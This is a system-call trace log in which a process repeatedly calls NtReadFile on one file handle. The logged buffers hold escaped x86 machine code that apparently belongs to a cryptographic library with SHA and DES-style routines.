06:37:11,645	996	NtReadFile	Buffer => k\x83E\x90\x08u2\x8b\xb5|\xff\xff\xff\x8dF\x08;\xc6r\x18P\xff\x15\x18 \x03h;\xc7\x89E\x90t\x0f\xc7\x00Heap\x83E\x90\x089}\x90u\x08j\x08[\xe9\x85\x02\x00\x00\x8d\x85|\xff\xff\xffP\x8dE\x90P\x8bE\x94\xffp\x1c\xe8\x8d\xa5\xff\xff;\xc7\x0f\x85c\xfc\xff\xff\xffu\x88\x8bE\x94\xffu\x98\xffu\x90\xffp\x1c\xe8x\xa9\xff\xff;\xc7\x0f\x85G\xfc\xff\xff\xff\xb5t\xff\xff\xff\x8dE\x9cP\xffu\x90\x8bE\x94\xffp\x1c\xe8X\xa9\xff\xff;\xc7\x0f\x85'\xfc\xff\xff\x8bE\x94\x8bx\x10\x8b\x8d|\xff\xff\xff\x8bu\x90\x8b\xc1\xc1\xe9\x02\xf3\xa5\x8b\xc8\x83\xe1\x03\xf3\xa4\x8bE\x94\x83H \x02\x8bM\x80\x8b}\x8c\x8b\xd1\xc1\xe9\x02\x8b\xb5x\xff\xff\xff3\xc0\xf3\xab\x8b\xca\x83\xe1\x03\xf3\xaa\x8bM\x88\x8b}\x98\x8b\xd1\xc1\xe9\x023\xc0\xf3\xab\x8b\xca\x83\xe1\x03\xf3\xaa\x8bE\x94VS\xffp\x10\xffp\x18\xffp\x1c\xe8\x94\xf8\xff\xff\x85\xc0\xe9\xb1 FileHandle => 0x000000dc	SUCCESS	0x00000000
06:37:11,645	996	NtReadFile	Buffer => \xeb\x07\xc7E\xb8p\xf0\x02h\x8bU\x143\xf6\x85\xd2v\x13\x8bE\x10\x8dD\x10\xff\x8a\x08\x88L5\xbcFH;\xf2r\xf4\x8b]\x1c\x8b\xca\x8b\xfb\x8du\xbc3\xc0\xf3\xa6t\x05\x1b\xc0\x83\xd8\xff\x85\xc0u~\xf6E\x18\x01\x8b\xca\x89M\xb4uG\x8bu\xb8\x85\xf6t@\x8b\x06\x808\x00t9\x89u\xb8\x0f\xb6\x18\x8dx\x01\x8bE\x1c\x8d4\x02\x8b\xcb3\xc0\xf3\xa6t\x05\x1b\xc0\x83\xd8\xff\x85\xc0t\x13\x83E\xb8\x04\x8bE\xb8\x8b\x00\x808\x00u\xd5\x8bM\xb4\xeb\x03\x8d\x0c\x13\x8b]\x1c\x80<\x19\x00u&\x8bE\x08\x8b@\x0c\x80<\x18\x00u\x1a\x80|\x18\xff\x01u\x13AH\xeb\x07\x80<\x19\xffu A;\xc8r\xf53\xc0\xeb\x0c\xb8\x06\x00 \x80\xeb\x05\xb8\x02\x00 \x80\x8bM\xfc_^[\xe8\x92n\x00\x00\xc9\xc2\x18\x00\x10\xdd\x00h\x19\xdd\x00h"\xdd\x00h+\xdd\x00h\x17\xde\x00h\x17\xde\x00h\x17\xde\x00h4\xdd\x00h\x17\xde\x00h\x17\xde\x00h\x17 FileHandle => 0x000000dc	SUCCESS	0x00000000
06:37:11,645	996	NtReadFile	Buffer => _j\x06\x8dM\xc0Q\x8dM\xe4Q\xffu\xc8\x89}\xc0P\xffU\xb8;\xc3u\x06f9}\xc0t8\x83\xf82\x8bu\xcctSW\x8dE\xe4P\x8dF8P\x8dFXP\x8d\x86d\x01\x00\x00P\xe8\xb7\xe9\xff\xff;\xc3uSSj\x06W\x8dE\xe4P\xffu\xc8\xffu\xd4\xffU\xc4\xeb\x03\x8bu\xccW\xe8\x0c1\x01\x00;\xc3\x89\x86H\x01\x00\x00u\x08j\x08^\xe9\x1a\x01\x00\x00\x8du\xe4\xe9\xff\x00\x00\x00\x8dE\xd8PSSh\x03\x80\x00\x00\xffv\x0c\xe8\xd9\x86\xff\xff\x85\xc0u \xff\x15\xc8\x11\x00h\x8b\xf0\xe9\xee\x00\x00\x00S\x8dE\xecPj\x02\xffu\xd8\xffv\x0c\xe8k\xb7\xff\xff\x85\xc0t\xdd\x8dE\xbcPj\x01\xffv\x0c\xffu\xd8\xe8\xf0$\x00\x00;\xc3t\x11= \x00 \x80u\xc7\xbe\x02\x00 \x80\xe9\xb2\x00\x00\x00\x8bE\xbc\xffu\xd0\x8b=\xbc\x11\x00h\x83`\x18\xfe\xff\xd7@P\xe8y0\x01\x00;\xc3\x89E\xe0tw\xffu\xd0P\xff\x15 FileHandle => 0x000000dc	SUCCESS	0x00000000
06:37:11,645	996	NtReadFile	Buffer => \xff\xff\xff6\xe8\xcc!\x01\x00\x8bu\x18\x89\x06\x8bE\x10\xff0\xe8T!\x01\x00;\xc3\x89\x07\x0f\x84r\xff\xff\xff\xff6\xe8C!\x01\x00;\xc3\x8bM\x0c\x89\x01\x0f\x84^\xff\xff\xff\xffu\xf0\xffu\xf8h\x01\x00\x01\x00\xffu\x1cP\xff7\xe8 \xfc\x00\x00\x8b\xf0\xf7\xde\x1b\xf6\x81\xe6\xb1\xfa\xff\xff\x81\xc6O\x05\x00\x00\x8dE\xdcP\x8d\x85p\xff\xff\xffP\xe8\xfbz\x01\x00\x85\xc0u\x0e;\xf3u \xffu\xe4\xe8\xf6F\x00\x00\x8b\xf09]\xd0t"\x8dE\xdcP\x8d\x85\xc0\xfe\xff\xffP\xe8\xaev\x01\x00\x85\xc0u\x0e;\xf3u \xffu\xe4\xe8\xcfF\x00\x00\x8b\xf09]\xect\x08\xffu\xec\xe8\xfb \x01\x009]\xf8t\x08\xffu\xf8\xe8\xee \x01\x009]\xf0t\x08\xffu\xf0\xe8\xe1 \x01\x00;\xf3t\x1b\x8b?;\xfbt\x06W\xe8\xd1 \x01\x00\x8bE\x0c\x8b\x00;\xc3t\x06P\xe8\xc2 \x01\x00_\x8b\xc6^[\xc9\xc2\x18\x00\xcc\xcc\xcc\xcc\xcc\x8b\xffU\x8b\xec FileHandle => 0x000000dc	SUCCESS	0x00000000
06:37:11,645	996	NtReadFile	Buffer => \xdbC\x89]\xa8\x8bE\x18=\x00\x04\x00\x00r0P\x8dE\xccP\x8dE\xc8P\x8dE\xc4P\x8dE\xdcP\x8dE\xe0P\xe8\\xee\xff\xff\x89E\xe4\x85\xc0\x0f\x85\xfd\x01\x00\x00\x89]\xd0\x8b}\xdc\xe9\x8f\x00\x00\x00\x89E\xa4\x8dE\xa4P\x8dE\xc8P\x8dE\xc4P\xe8\xa9\xef\x00\x00\x85\xc0u\x0c\xc7E\xe4 \x00 \x80\xe9\xce\x01\x00\x00\xffu\xc4\xe8\x01\x11\x01\x00\x89E\xe0\x85\xc0u\x0c\xc7E\xe4\x08\x00\x00\x00\xe9\xb3\x01\x00\x00\x89]\xd0\xffu\xc8\xe8L\x11\x01\x00\x89E\xccP\xe8\xda\x10\x01\x00\x8b\xf8\x89}\xdc\x85\xfft\xd7\x8d\x86d\x01\x00\x00\x838\xfft\x10\x89E\x90\xc7E\x94o\xd7\x00h\x8dE\x90\x89E\xc0h\x01\x00\x01\x00\xffu\x18W\xffu\xe0\xffu\xc0\xe8\xf2\xe8\x00\x00\x85\xc0t\x89\x8bE\xcc\x83\xc0\xecP\x8dG\x14P\xe8\x1c\x11\x01\x00\x89E\xd8\x85\xc0\x0f\x85E\x01\x00\x00PSSW\xffu\xe0\xe8s\xfc\xff\xff\x89E\xd8\x85\xc0\x0f\x85.\x01\x00\x00 FileHandle => 0x000000dc	SUCCESS	0x00000000
06:37:11,655	996	NtReadFile	Buffer => \x85\xe2\x00\x00\x00\xe8\x1f\xf7\xff\xff\x85\xc0\x0f\x84\xd5\x00\x00\x00\x8d\x85\xa4\xfe\xff\xffP\xe8\x8e\x80\x00\x00j\x03h\x1c\xf8\x02h\x8d\x85\xa4\xfe\xff\xffP\xe8K\x8c\x00\x00\x8d\x85|\xff\xff\xffP\x8d\x85\xa4\xfe\xff\xffP\xe8h\x8d\x00\x00\x8b\xcb\xbf \xf8\x02h\x8d\xb5|\xff\xff\xff3\xc0\xf3\xa7\x0f\x85\x8c\x00\x00\x00\x8d\x85\xd4\xfd\xff\xffP\xe85\x8e\x00\x00j\x03h@\xf8\x02h\x8d\x85\xd4\xfd\xff\xffP\xe8R\xbd\x00\x00\x8d\x85L\xff\xff\xffP\x8d\x85\xd4\xfd\xff\xffP\xe8\xbf\xc5\x00\x00j\x0cY\xbfD\xf8\x02h\x8d\xb5L\xff\xff\xff3\xc0\xf3\xa7uF\x8d\x85\x04\xfd\xff\xffP\xe8\x7f\x8e\x00\x00j\x03ht\xf8\x02h\x8d\x85\x04\xfd\xff\xffP\xe8\x0c\xbd\x00\x00\x8d\x85\x0c\xff\xff\xffP\x8d\x85\x04\xfd\xff\xffP\xe8Y\xbe\x00\x00j\x10Y\xbfx\xf8\x02h\x8d\xb5\x0c\xff\xff\xff3\xc0\xf3\xa7t \xb8 \x00 \x80\xe9\xfa\x01\x00\x00j\x00h\x8c\xf6\x02hj\x05h\x84\xf6\x02hj FileHandle => 0x000000dc	SUCCESS	0x00000000
06:37:11,655	996	NtReadFile	Buffer => \x04\x00\x00\x8br\x10\x8b\xd1\xc1\xe9\x02\x8d\xb80\x03\x00\x00\xf3\xa5\x8b\xca\x83\xe1\x03\xf3\xa4\x8b\x8bH\x03\x00\x00\x89H\x04\x8b\x8bL\x03\x00\x00\x89H\x08\x8b\x8bP\x03\x00\x00\x89H\x0c\x8b\x8bT\x03\x00\x00\x89H\x10\x8b\x8bX\x03\x00\x00\x89H\x14\x8b\x8b\\x03\x00\x00\x89H\x18\x8b\x8b4\x01\x00\x00\x89\x88\x1c\x01\x00\x00\x8b\xd1\xc1\xe9\x02\x8ds4\x8dx\x1c\xf3\xa5\x8b\xca\x83\xe1\x03\xf3\xa4\x8b\x8b8\x02\x00\x00\x89\x88 \x02\x00\x00\x8b\xd1\xc1\xe9\x02\x8d\xb38\x01\x00\x00\x8d\xb8 \x01\x00\x00\xf3\xa5\x8b\xca\x83\xe1\x03\xf3\xa4\x8b\x8bD\x03\x00\x00\x89\x88,\x03\x00\x00\x8d\xb8,\x02\x00\x00\x8b\xc1\xc1\xe9\x02\x8d\xb3D\x02\x00\x00\xf3\xa5\x8b\xc8\x83\xe1\x03\xf3\xa4\xe9\x1b\x02\x00\x00\x8bJ\x0c\x89\x880\x04\x00\x00\x8br\x10\x8b\xd1\xc1\xe9\x02\x8d\xb80\x03\x00\x00\xf3\xa5\x8b\xca\x83\xe1\x03\xf3\xa4\x8b\x8bH\x03\x00\x00\x89H\x04\x8b\x8bL\x03\x00\x00\x89H\x08\x8b\x8bP\x03\x00\x00\x89H\x0c\x8b\x8bT\x03 FileHandle => 0x000000dc	SUCCESS	0x00000000
06:37:11,655	996	NtReadFile	Buffer => \x00+\xc1\x89u\xcc\x89U\xd8\x89U\xd0\x89U\xc4\x89U\xc0\x0f\x84H\x01\x00\x00\x83\xe8\x04t \xbe\x08\x00 \x80\xe9\x97\x01\x00\x00\xf6\x834\x04\x00\x00\x01\x8b{\x0c\x8bC\x04\x89}\xd4\x89E\xc8\x0f\x84\xcd\x00\x00\x00\xffu\x14\x8dE\xf4P\x8dE\xd0P\x8dE\xdcP\x8dE\xccP\x8dE\xd4P\x8dE\xc4PS\xe8<\xfe\xff\xff\x85\xc0\x0f\x852\x01\x00\x00\x8bE\xcc\xf6E\x14\x01t\x07\xc7E\xc0\x01\x00\x00\x00\x8dM\xd8Qj\x01j\x00P\xff6W\xffu\xc0\xffu\xc8\xe8\xf8G\xff\xff\x85\xc0\x0f\x85\x03\x01\x00\x00\x81}\xc8\x02f\x00\x00u \x8bE\xd8\xc7@l\x80\x00\x00\x00\x8b}\xd8\x8bM\xd0\x8b\xc1\xc1\xe9\x02\x83\xc7D\x8du\xdc\xf3\xa5\x8b\xc8\x83\xe1\x03\xf3\xa4\x8bE\xd8\x8bM\xd0\x89H@\x8b[\x18\x85\xdbt\x19\x8b}\xd8\x8b\xcb\x8b\xc1\xc1\xe9\x02\x83\xc7\x1c\x8du\xf4\xf3\xa5\x8b\xc8\x83\xe1\x03\xf3\xa4j\x00\xffu\xd8\xffu\xbc\xe8\xdbI\xff\xff\x85\xc0\x0f\x85\x85 FileHandle => 0x000000dc	SUCCESS	0x00000000
06:37:11,655	996	NtReadFile	Buffer => \x8b@\xfc\x89\x85\xdc\xfd\xff\xffj\x14Y3\xc0\x8d\xbd\xd0\xfc\xff\xff\xf3\xab\xc7\x85\xd0\xfc\xff\xff \x04\x00\xc0\x8bE\x04\x89\x85\xdc\xfc\xff\xff\x8d\x85\xd0\xfc\xff\xff\x89E\xf8\x8d\x85(\xfd\xff\xff\x89E\xfc\xa1\x84\x18\x03h\x89\x85 \xfd\xff\xff\xa1\x80\x18\x03h\x89\x85$\xfd\xff\xffj\x00\xff\x15\xd4\x10\x00h\x8dE\xf8P\xff\x15\xd8\x10\x00hh\x02\x05\x00\x00\xff\x15\xdc\x10\x00hP\xff\x15\xe0\x10\x00h_\xc9\xc3\xcc\xcc\xcc\xcc\xcc\x8b\xffU\x8b\xecV3\xf69u\x0cu\x0e95\x9c\x1a\x03h~-\xff \x9c\x1a\x03h\x83}\x0c\x01\xa1\xf0\x11\x00h\x8b\x00\xa3\x00 \x03hu=h\x80\x00\x00\x00\xff\x15\xec\x11\x00h;\xc6Y\xa3\x08 \x03hu\x043\xc0\xebg\x890\xa1\x08 \x03hh\x08\xf0\x02hh\x00\xf0\x02h\xa3\x04 \x03h\xe8\xac\x01\x00\x00\xff\x05\x9c\x1a\x03hY\xeb?9u\x0cu;\xa1\x08 \x03h;\xc6t2\xeb\x13\x8b \x04 \x03h\x8b ; FileHandle => 0x000000dc	SUCCESS	0x00000000
06:37:11,655	996	NtReadFile	Buffer => t3\xc63\xd6%\xfc\xfc\xfc\xfc\x81\xe2\xcf\xcf\xcf\xcf\x8a\xd8\x8a\xcc\xc1\xca\x04\x8b\xab\xb8\x18\x00h\x8a\xda3\xfd\x8b\xa9\xb8\x1a\x00h3\xfd\x8a\xce\xc1\xe8\x10\x8b\xab\xb8\x19\x00h3\xfd\x8a\xdc\xc1\xea\x10\x8b\xa9\xb8\x1b\x00h3\xfd\x8bl$\x1c\x8a\xce%\xff\x00\x00\x00\x81\xe2\xff\x00\x00\x00\x8b\x9b\xb8\x1e\x00h3\xfb\x8b\x99\xb8\x1f\x00h3\xfb\x8b\x98\xb8\x1c\x00h3\xfb\x8b\x9a\xb8\x1d\x00h3\xfb\x8bEx3\xdb\x8bU|3\xc73\xd7%\xfc\xfc\xfc\xfc\x81\xe2\xcf\xcf\xcf\xcf\x8a\xd8\x8a\xcc\xc1\xca\x04\x8b\xab\xb8\x18\x00h\x8a\xda3\xf5\x8b\xa9\xb8\x1a\x00h3\xf5\x8a\xce\xc1\xe8\x10\x8b\xab\xb8\x19\x00h3\xf5\x8a\xdc\xc1\xea\x10\x8b\xa9\xb8\x1b\x00h3\xf5\x8bl$\x1c\x8a\xce%\xff\x00\x00\x00\x81\xe2\xff\x00\x00\x00\x8b\x9b\xb8\x1e\x00h3\xf3\x8b\x99\xb8\x1f\x00h3\xf3\x8b\x98\xb8\x1c\x00h3\xf3\x8b\x9a\xb8\x1d\x00h3\xf3\x8bT$\x14\xd1\xce\x8b\xc73\xfe\x81\xe7\xaa\xaa\xaa\xaa3 FileHandle => 0x000000dc	SUCCESS	0x00000000
06:37:11,655	996	NtReadFile	Buffer => \x83\xf0\xff#\xc2\x03\xcd\x03\xc83\xc0f\xc1\xc1\x02f\x8b\xc1\x8b\xe8\x83\xf0\xff#\xeb#\xc7\x03\xd0\x8bF\x04\x03\xd0\xc1\xe8\x10\x03\xd5\x03\xf83\xc0f\xc1\xc2\x03f\x8b\xc2\x8b\xe8\x83\xf0\xff#\xc3#\xe9\x03\xf8\x03\xfd\x83\xc6\x08f\xc1\xc7\x05\x8b\xc7\xf7\xd0\x8b\xef#\xc1#\xea\x03\xd8\x8b\x06\x03\xdd\x03\xd8\xc1\xe8\x10\x8b\xef\x03\xc83\xc0f\xd1\xc3f\x8b\xc3#\xe8\x83\xf0\xff#\xc2\x03\xcd\x03\xc83\xc0f\xc1\xc1\x02f\x8b\xc1\x8b\xe8\x83\xf0\xff#\xeb#\xc7\x03\xd0\x8bF\x04\x03\xd0\xc1\xe8\x10\x03\xd5\x03\xf83\xc0f\xc1\xc2\x03f\x8b\xc2\x8b\xe8\x83\xf0\xff#\xc3#\xe9\x03\xf8\x03\xfd\x83\xc6\x08f\xc1\xc7\x05\xe9h\x06\x00\x00\x8d\xa4$\x00\x00\x00\x00\x90\x83\xc6xf\xc1\xcf\x05\x8b\xc2\x8b\xea\x83\xf0\xff#\xe9#\xc3f\xc1\xca\x03\x03\xc5+\xf8\x8bF\x04\x8b\xe9+\xd0\xc1\xe8\x10+\xf8\x8b\xc1\xf7\xd5#\xc3#\xef\x03\xe8f\xc1\xc9\x02+\xd5\x8b\xc3\x8b\xef\xf7\xd0#\xeb#\xc2f\xd1\xcb\x03 FileHandle => 0x000000dc	SUCCESS	0x00000000
06:37:11,655	996	NtReadFile	Buffer => h34\x9d\xd81\x00h\x8b]\xf8\xc1\xeb\x08\x0f\xb6\xdb34\x9d\xd8-\x00h\x0f\xb6]\xf434\x9d\xd8)\x00h\x0f\xb6]\xf2\x89p\x08\x0f\xb6u\xf7\x8b4\xb5\xd85\x00h34\x9d\xd81\x00h\x0f\xb6\xd6\x8b\x1c\x95\xd8-\x00h\x0f\xb6U\xf83\xf334\x95\xd8)\x00h\x8bX\x04\x89p\x0c\x8b0\x8bQ\x083\xd6\x8bq\x0c3\xf3\x8bX\x08\x89u\xf0\x8bq\x103\xf3\x8bX\x0c\x89u\xf4\x8bq\x14\x89U\xec3\xf3\x89u\xf8\x8b]\xf4\xc1\xee\x18\x8b4\xb5\xd85\x00h\xc1\xeb\x10\x0f\xb6\xdb34\x9d\xd81\x00h\x8b]\xf0\xc1\xeb\x08\x0f\xb6\xdb34\x9d\xd8-\x00h\x0f\xb6\xda34\x9d\xd8)\x00h\x8b]\xf8\x890\xc1\xeb\x10\x0f\xb6\xdb\x8b\xf2\xc1\xee\x18\x8b4\xb5\xd85\x00h34\x9d\xd81\x00h\x8b]\xf4\xc1\xeb\x08\x0f\xb6\xdb34\x9d\xd8-\x00h\x0f\xb6]\xf034\x9d\xd8)\x00h\x0f\xb6]\xee\x89p\x04\x8bu\xf0\xc1\xee\x18\x8b4\xb5\xd85 FileHandle => 0x000000dc	SUCCESS	0x00000000
06:37:11,655	996	NtReadFile	Buffer => \xc7E\xe8\x02\x00\x00\x00\xeb\x03\x8dI\x00\x8bQ\xf83\x10\x8bq\xfc3p\x04\x89u\xf0\x8b9\x8bp\x083\xf7\x89u\xf4\x8bY\x043X\x0c\x8bu\xf0\x0f\xb6}\xf6\xc1\xee\x18\x8b4\xb5\xd8E\x00h34\xbd\xd8A\x00h\x0f\xb6\xff34\xbd\xd8=\x00h\x0f\xb6\xfa34\xbd\xd89\x00h\x89U\xec\x890\x8bu\xf4\xc1\xee\x18\x8b4\xb5\xd8E\x00h\x89]\xf8\x0f\xb6}\xfa34\xbd\xd8A\x00h\x0f\xb6\xd6\x8b<\x95\xd8=\x00h\x8bU\xf03\xf7\x0f\xb6\xfa34\xbd\xd89\x00h\x0f\xb6}\xee\x89p\x04\x8b\xf3\xc1\xee\x18\x8b4\xb5\xd8E\x00h34\xbd\xd8A\x00h\x0f\xb6\xd6\x8b<\x95\xd8=\x00h\x8bU\xf43\xf7\x0f\xb6\xfa34\xbd\xd89\x00h\x0f\xb6}\xf2\x89p\x08\x0f\xb6u\xef\x8b4\xb5\xd8E\x00h34\xbd\xd8A\x00h\x0f\xb6\xd634\x95\xd8=\x00h\x0f\xb6\xd3\x8b<\x95\xd89\x00h\x8bX\x043\xf7\x8bx\x08\x89p\x0c\x8b0\x8bQ\xe83 FileHandle => 0x000000dc	SUCCESS	0x00000000
06:37:11,655	996	NtReadFile	Buffer => \xc8\x8b\xf1\xc1\xe9\x02\x8d|\x05\xbc3\xc0\xf3\xab\x8b\xce\x83\xe1\x03\xf3\xaa\x8b]\xb4\x8bu\xb8\xb9\x07\x00\x00\x00+\xcb\x8a\\x15\xbc\xb8\x01\x00\x00\x00\xd3\xe0\x8a\xc8\xfe\xc9 \xd8\xf6\xd1"\xcb\x83\xfa7\x88L\x15\xbc[v6\x8dU\xbcRV\xe8\x91a\x00\x003\xc0\x89E\xbc\x89E\xc0\x89E\xc4\x89E\xc8\x89E\xcc\x89E\xd0\x89E\xd4\x89E\xd8\x89E\xdc\x89E\xe0\x89E\xe4\x89E\xe8\x89E\xec\x89E\xf0\x8bN\x10\x8bV\x14\x8dE\xbcPV\x89M\xf4\x89U\xf8\xe8Oa\x00\x00\x8bM\xfc_\xc7F\x18\x01\x00\x00\x003\xc0^\xe8\xc5\xae\xff\xff\x8b\xe5]\xc2\x0c\x00\xcc\xcc\xcc\xcc\xcc\xcc\x8b\xffU\x8b\xec\x8bE\x083\xc9\xc7\x00g\xe6 j\xc7@\x04\x85\xaeg\xbb\xc7@\x08r\xf3n<\xc7@\x0c:\xf5O\xa5\xc7@\x10\x7fR\x0eQ\xc7@\x14\x8ch\x05\x9b\xc7@\x18\xab\xd9\x83\x1f\xc7@\x1c\x19\xcd\xe0[\x89H \x89H$]\xc2\x04\x00\xcc\xcc\xcc\xcc\xcc\x8b\xffU\x8b FileHandle => 0x000000dc	SUCCESS	0x00000000
06:37:11,655	996	NtReadFile	Buffer => \xff\xff\x89}\xd8\x8bx\x1c\x89\x95<\xfc\xff\xff\x89U\xb4\x8bP \x89\xbd@\xfc\xff\xff\x89}\xb8\x8bx$\x89\x95|\xfc\xff\xff\x89U\xdc\x8bP(\x89\xbd\x80\xfc\xff\xff\x89}\xe0\x8bx,\x89\x95L\xfc\xff\xff\x89U\xbc\x8bP0\x89\x8d\x9c\xfc\xff\xff\x89M\xcc\x8bH\x0c\x89\xbdP\xfc\xff\xff\x89}\xc0\x8bx4\x89\x95l\xfc\xff\xff\x89U\xc4\x8bP8\x8b@<\x89\x850\xfc\xff\xff\x89E\xf0\x89\x8d`\xfc\xff\xff\x89\xbdp\xfc\xff\xff\x89}\xc8\x89\x95,\xfc\xff\xff\x89U\xec3\xc0\xeb\x03\x8bu\x0c\x8b\x1e\x8bV\x04\x83\xc6\x08\x89u\x0c3\xf6\x0b\xd63\xff\x0b\xfb\x8b\xda\x89]\x94\x89}\x98\x8b\xf7\x0f\xa4\xdf\x08\x0f\xac\xf2\x08\xc1\xe3\x083\xd3\x8b]\x98\xc1\xee\x083\xf7\x8b}\x94\x0f\xa4\xfb\x08\x81\xe2\xff\x00\xff\x00\xc1\xe7\x083\xd7\x8b\xfa\x89U\x94\x81\xe6\xff\x00\xff\x003\xf3\x8b\xde\x0f\xac\xdf\x10\xc1\xeb\x10\x89u\x98\x0f\xa4\xd6\x103\xde\x8bu\x98\xc1\xe2\x103\xfa\x8bU FileHandle => 0x000000dc	SUCCESS	0x00000000
06:37:11,655	996	NtReadFile	Buffer => \xcc\x89\x8d\x88\xfc\xff\xff\x8b\xce\xf7\xd1#\xcb\x8b]\xd0\xf7\xd2#\xd3\x8b]\xec#\xde\x8bu\xf0#u\xc83\xcb\x8b\x9dp\xfe\xff\xff3\xd63\xbdl\xfe\xff\xff\x8b\xb5\x88\xfc\xff\xff3\xf33\xbd\\xfe\xff\xff3\xb5`\xfe\xff\xff\x8b\x1c\xc5T[\x00h\x03\xcf\x8b\xbc\xc5\xac\xfc\xff\xff\x13\xd6\x03\x0c\xc5P[\x00h\x8b\xb4\xc5\xb0\xfc\xff\xff\x13\xd3\x8b]\xa4\x03\xcf\x8b}\xa8\x13\xd6\x8bu\xbc\x03\xcb\x13\xd7\x03\xf1\x89M\xe4\x8bM\xc0\x13\xca\x89u\xbc\x89U\xe8\x8bU\xd8\x89M\xc0\x8bM\xd4\x8b\xf2\x8b\xf9\x0f\xac\xf7\x1c\x0f\xac\xce\x1c\x89\xb5P\xfe\xff\xff\x8b\xf2\x89\xbdL\xfe\xff\xff\x8b\xfe\x8b\xf1\x89}\xfc\x0f\xac\xf7\x02\x89\xbdt\xfc\xff\xff\x8b\xfa\x0f\xac\xfe\x02\x8b\xbdt\xfc\xff\xff\x89\xb50\xfe\xff\xff\x89\xbd,\xfe\xff\xff\x8b\xf2\x8b\xfa\x8b\xdf\x8b\xf1\x0f\xac\xf3\x07\x0f\xac\xfe\x07\x89\x9d<\xfe\xff\xff\x8b]\xb83\xda#]\xe0\x89\xb5@\xfe\xff\xff\x8bu\xb4\x8b\xfe#\xf13\xf9# FileHandle => 0x000000dc	SUCCESS	0x00000000
06:37:11,655	996	NtReadFile	Buffer => \xbc\x8b\xd6\x8b\xf9\x0f\xac\xd7\x1c\x0f\xac\xca\x1c\x89\x95H\xfe\xff\xff\x89\xbdD\xfe\xff\xff\x8b\xd6\x8b\xfe\x89}\xf8\x8b\xd1\x0f\xac\xd7\x02\x89\xbd\xb4\xfa\xff\xff\x8b\xfe\x0f\xac\xfa\x02\x8b\xbd\xb4\xfa\xff\xff\x89\x95\xb8\xfe\xff\xff\x8b\xd6\x89\xbd\xb4\xfe\xff\xff\x8b\xfa\x8b\xd1\x8b\xdf\x0f\xac\xd3\x07\x0f\xac\xfa\x07\x89\x9d\x04\xfe\xff\xff\x8b]\xc83\xde#]\xf0\x89\x95\x08\xfe\xff\xff\x8bU\xc4\x8b\xfa#\xd13\xf9#}\xec\x8bM\xc83\xfa\x8b\x95\xb4\xfe\xff\xff#\xce3\xd9\x8b\x8d\x04\xfe\xff\xff3\xca3\x8dD\xfe\xff\xff\x8b\x95\x08\xfe\xff\xff3\x95\xb8\xfe\xff\xff3\x95H\xfe\xff\xff\x03\xf9\x13\xda\x8bU\xe4\x8bM\xe8\x03\xfa\x13\xd9\x8bM\xfc\x89]\xe0\x8b]\x0c\x89}\xdc\x8b}\xa0@AC\x89M\xfc\x89]\x0c\x83\xe1\x0f\x8b\x94\xcd\xac\xfc\xff\xff\x8b\x8c\xcd\xb0\xfc\xff\xffG\x8b\xda\x89}\xa0\x8b\xf9\x0f\xac\xfb\x01\x89\x9dT\xfb\xff\xff\x8b\xda\x0f\xac\xdf\x01\x8b\x9dT\xfb\xff\xff\x89\x9d\xc4\xfe\xff\xff\x8b\xda FileHandle => 0x000000dc	SUCCESS	0x00000000
06:37:11,655	996	NtReadFile	Buffer => \xff\x0f\xa4\xd7\x08%\xff\x00\xff\x00\xc1\xe2\x083\xc2\x81\xe1\xff\x00\xff\x003\xcf\x8b\xd0\x89\x85T\xff\xff\xff\x8b\xf9\x0f\xac\xfa\x10\x89\x8dX\xff\xff\xff\x0f\xa4\xc1\x10\xc1\xe0\x103\xd0\x8b\x85T\xff\xff\xff\xc1\xef\x103\xf9\x8b\x8dX\xff\xff\xff\x0f\xa4\xc1\x10\xc1\xe0\x10\x81\xe2\xff\xff\x00\x003\xd0\x8b\x85P\xff\xff\xff\x81\xe7\xff\xff\x00\x003\xf9\xc6\x85l\xff\xff\xff\x80\x89\x94\x05\\xff\xff\xff\x89\xbc\x05`\xff\xff\xff\x8b\xbdh\xff\xff\xff3\xc0\x0b\xf8\x8b\x85d\xff\xff\xff3\xd2\x0b\xd0\x89\x95X\xff\xff\xff\x89\xbdT\xff\xff\xff\x8b\xcf\x8b\xc2\x0f\xac\xc1\x08\x0f\xa4\xfa\x08\xc1\xe8\x08\x89\x85h\xff\xff\xff\x8b\xc1\x8b\x8dh\xff\xff\xff3\xca\x8b\x95T\xff\xff\xff\xc1\xe7\x083\xc7\x8b\xbdX\xff\xff\xff\x0f\xa4\xd7\x08%\xff\x00\xff\x00\xc1\xe2\x083\xc2\x81\xe1\xff\x00\xff\x003\xcf\x8b\xd0\x89\x85T\xff\xff\xff\x8b\xf9\x0f\xac\xfa\x10\x89\x8dX\xff\xff\xff\x0f\xa4\xc1\x10\xc1\xe0\x103\xd0\x8b\x85T\xff\xff\xff FileHandle => 0x000000dc	SUCCESS	0x00000000
06:37:11,655	996	NtReadFile	Buffer => \x00h\x84\xdb\x8b\xd7\x8b\xf1t\x0e\xc1\xe6\x1a\xc1\xe9\x02\xc1\xe2\x1a\xc1\xef\x02\xeb \xc1\xe6\x1b\xd1\xe9\xc1\xe2\x1b\xd1\xef\x0b\xd7\x0b\xf1\x81\xe6\xff\xff\xff\x0f\x8b\xce\xd1\xe9\x8b\xf9\x81\xe7\x00\x00\x00\x07\x89M\x0c\x8b\xde\x81\xe3\x00\x00\xc0\x00\x0b\xfb\xd1\xef\x8b\xde\x81\xe3\x00\x00\x10\x00\x0b\xfb\xc1\xef\x14\x8b\xd9\x81\xe3\x00\x00\x06\x00\x8b\xce\x81\xe1\x00\xe0\x01\x00\x0b\xd9\x8b\x0c\xbd\xb8#\x00h\xc1\xeb \x0b\x0c\x9d\xb8"\x00h\x8b}\x0c\x81\xe7\x00\x0f\x00\x00\x81\xe2\xff\xff\xff\x0f\x8b\xde\x81\xe3\xc0\x00\x00\x00\x0b\xfb\xc1\xef\x06\x0b\x0c\xbd\xb8!\x00h\x8b\xfe\x83\xe7?\x0b\x0c\xbd\xb8 \x00h\x8b\xfa\xd1\xef\x89}\xfc\x81\xe7\x00\x00\x00\x06\x8b\xda\x81\xe3\x00\x00\xe0\x01\x0b\xfb\x8b]\xfc\x81\xe3\x00\x1e\x00\x00\x89U\x08\x81\xe2\x80\x01\x00\x00\x0b\xda\xc1\xef\x15\x8b\x14\xbd\xb8'\x00h\xc1\xeb\x07\x0b\x14\x9d\xb8%\x00h\x8b}\x08\x8b\xdf\xc1\xeb\x0f\x83\xe3?\x0b\x14\x9d\xb8&\x00h\x83\xe7?\x0b\x14\xbd\xb8$\x00 FileHandle => 0x000000dc	SUCCESS	0x00000000
